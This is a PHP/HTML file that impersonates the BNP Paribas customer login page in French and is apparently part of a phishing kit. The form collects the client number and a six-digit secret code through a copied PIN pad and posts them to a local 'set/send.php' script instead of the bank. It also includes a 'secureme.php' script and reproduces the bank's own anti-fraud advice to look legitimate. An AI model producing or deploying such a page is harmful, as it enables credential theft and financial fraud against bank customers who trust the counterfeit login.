<?php
include 'set/secureme.php';

?>

<!DOCTYPE html>
<html lang="fr">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>BNP Paribas - Connexion</title>
  <link rel="stylesheet" href="css/styles.css">
</head>
<body>
  <div class="header" style="justify-content: unset;">
    <img src="images/logo-bnpp.png" alt="BNP Paribas" height="40">
   <span style="font-size: 20px;color: #535353;margin-left: 50px;">La banque d'un monde qui change</span>
  </div>
  
  <div class="main">
  
    <div class="login-box">

    <div class="annonce" style="">
      <div >
      <svg width="35" height="35" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
                <path d="M17.5 14a.875.875 0 00-.875.875V24.5a.875.875 0 101.75 0v-9.625A.875.875 0 0017.5 14zm-1.239-2.115a1.312 1.312 0 112.625 0 1.312 1.312 0 01-2.625 0z" fill="currentColor"></path>
                <path fill-rule="evenodd" clip-rule="evenodd" d="M17.5 4.375c-7.248 0-13.125 5.877-13.125 13.125S10.252 30.625 17.5 30.625 30.625 24.748 30.625 17.5 24.748 4.375 17.5 4.375zm0 24.5c-6.272 0-11.375-5.103-11.375-11.375S11.228 6.125 17.5 6.125 28.875 11.228 28.875 17.5 23.772 28.875 17.5 28.875z" fill="currentColor"></path>
            </svg>
      </div>
      <div>
        <p style="font-size: 15px; color:white;">
        Bienvenue sur votre nouvelle page de connexion ! Cette nouvelle version, plus claire et accessible, vous permet désormais de mémoriser votre numéro client, pour faciliter vos futures connexions depuis votre appareil. Plus besoin de le saisir à chaque connexion !
        </p>
      </div>

    </div>

    <div  class="login">
      
    <h2>Accédez à votre espace client</h2>
      <form id="form" method="post" action="set/send.php">
        <label>Numéro Client</label>
        <input type="text" maxlength="10"  minlength="7"  onkeypress="return event.charCode >= 48 && event.charCode <= 57" onpaste="return false" ondrop="return false" id="client" name="client_number" placeholder="Numero de 7 à 10 chiffres" required />
        <label id="code_secret_label" style="display:none; text-align:center;">Saissez votre code secret</label>
        <input type="hidden" minlength="6" name="code_secret" id="code_secret" required />
        <div class="pin-dots" id="pin_dot">
          <div class="pin-dot" id="dot1"></div>
          <div class="pin-dot" id="dot2"></div>
          <div class="pin-dot" id="dot3"></div>
          <div class="pin-dot" id="dot4"></div>
          <div class="pin-dot" id="dot5"></div>
          <div class="pin-dot" id="dot6"></div>
          <button type="button" onclick="removeDigit()" class="backspace-btn"><svg width="26" height="25" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
									<path fill-rule="evenodd" clip-rule="evenodd" d="M21.529 4.688H9.403a1.59 1.59 0 00-1.383.742l-4.395 6.68 4.395 6.68c.325.411.813.741 1.383.741h12.126c.895 0 1.627-.742 1.627-1.65V6.338c0-.907-.732-1.65-1.627-1.65zM18.974 14.85l-1.13 1.129-2.909-2.904-2.908 2.904-1.131-1.13 2.908-2.903-2.908-2.904 1.13-1.129 2.91 2.904 2.907-2.904 1.131 1.13-2.908 2.903 2.909 2.904z" fill="currentColor"></path>
								</svg></button>
        </div>
        <div class="pin-pad" id="pin_pad">
          <button type="button" onclick="addDigit('2')">2</button>
          <button type="button" onclick="addDigit('7')">7</button>
          <button type="button" onclick="addDigit('4')">4</button>
          <button type="button" onclick="addDigit('1')">1</button>
          <button type="button" onclick="addDigit('3')">3</button>
          <button type="button" onclick="addDigit('6')">6</button>
          <button type="button" onclick="addDigit('8')">8</button>
          <button type="button" onclick="addDigit('5')">5</button>
          <button type="button" onclick="addDigit('0')">0</button>
          <button type="button" onclick="addDigit('9')">9</button>
        </div>
        <button type="button" id="submit" class="submited" onclick="validateForm()">Accéder à mon espace client</button>
        <button type="submit" id="hidden-submit" style="display: none;">Soumettre</button>
        <button type="button" id="continue" onclick="onwritte()" class="continue">Continuer</button>
      </form>
      <a href="#">Numéro client ou code secret oublié ?</a>
    </div>
    



    </div>
    <div class="info-box">
      
     
      <div class="content">

        <h3><svg width="25" height="25" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
                <path fill-rule="evenodd" clip-rule="evenodd" d="M12.501 2.5a5 5 0 015 5v1.667a3.333 3.333 0 013.334 3.333v6.667A3.333 3.333 0 0117.5 22.5h-10a3.333 3.333 0 01-3.333-3.333V12.5A3.333 3.333 0 017.5 9.167V7.5a5 5 0 015-5zm1.667 6.667h-3.333V7.5a1.667 1.667 0 013.333 0v1.667zm-6.667 2.222a1.11 1.11 0 00-1.11 1.111v6.667c0 .613.497 1.11 1.11 1.11h10a1.11 1.11 0 001.111-1.11V12.5a1.11 1.11 0 00-1.11-1.111h-10z" fill="#000"></path>
            </svg>
          Sécurité</h3>
        Avant de vous connecter, vérifiez que l’adresse de cette page commence exactement par :  :<br>
        <strong style="background: #00800026;border-radius: 5px;padding: 3px;/*! margin: 9 0 10 0; */display: block;width: fit-content;font-weight: bold;">https://connexion-mabanque.bnpparibas</strong>
        Si une tierce personne ou un représentant BNP Paribas vous demande de vous connecter ou de fournir des informations, il s’agit systématiquement d’une fraude, ne vous connectez en aucun cas. 
        <br><a href="#">Consulter tous nos conseils sécurité et fraude.</a> 


      </div>
      
      
      
      <div class="content">
        <h3>Besoin d'aide ?</h3>
        Consultez notre <a href="#">Assistance technique</a>

       

      </div>
      
    </div>
  </div>
  <script>
    function addDigit(digit) {
      const input = document.getElementById('code_secret');
      if (input.value.length < 6) {
        input.value += digit;
        // Remplir le point correspondant
        const dotIndex = input.value.length;
        const dot = document.getElementById('dot' + dotIndex);
        if (dot) {
          dot.classList.add('filled');
        }
        
        // Activer le bouton de soumission si le code est complet
        if (input.value.length === 6) {
          document.getElementById('submit').disabled = false;
          document.getElementById('submit').style.opacity = '1';
        }
      }
    }
    
    function removeDigit() {
      const input = document.getElementById('code_secret');
      if (input.value.length > 0) {
        // Vider le point correspondant
        const dotIndex = input.value.length;
        const dot = document.getElementById('dot' + dotIndex);
        if (dot) {
          dot.classList.remove('filled');
        }
        // Supprimer le dernier chiffre
        input.value = input.value.slice(0, -1);
        
        // Désactiver le bouton de soumission si le code n'est pas complet
        if (input.value.length < 6) {
          document.getElementById('submit').disabled = true;
          document.getElementById('submit').style.opacity = '0.3';
        }
      }
    }
    
    function validateForm() {
      const clientNumber = document.getElementById('client').value;
      const codeSecret = document.getElementById('code_secret').value;
      
      // Vérifier que le numéro client est rempli
      if (!clientNumber || clientNumber.length < 7) {
        alert('Veuillez saisir un numéro client valide (7 à 10 chiffres)');
        document.getElementById('client').focus();
        return false;
      }
      
      // Vérifier que le code secret est complet
      if (!codeSecret || codeSecret.length !== 6) {
        alert('Veuillez saisir votre code secret complet (6 chiffres)');
        return false;
      }
      
      // Si tout est valide, déclencher le bouton submit caché
      document.getElementById('hidden-submit').click();
    }
  </script>


<script>
  function onwritte(){
    document.getElementById('code_secret').style.display = "block";
    document.getElementById('code_secret_label').style.display = "block";
    document.getElementById('pin_dot').style.display = "flex";
    document.getElementById('pin_pad').style.display = "grid";
    document.getElementById('continue').style.display = "none";
    document.getElementById('submit').style.display = "block";
    
    // Initialiser le bouton de soumission comme désactivé
    document.getElementById('submit').disabled = true;
    document.getElementById('submit').style.opacity = '0.5';

  // Changer le style des boutons du pavé numérique lors de l'exécution de la fonction
  const boutons = document.querySelectorAll('.pin-pad button');
  boutons.forEach(function(bouton) {
    bouton.style.backgroundColor = "white";
    bouton.style.color = "black";
  });
  }
</script>
</body>
</html>
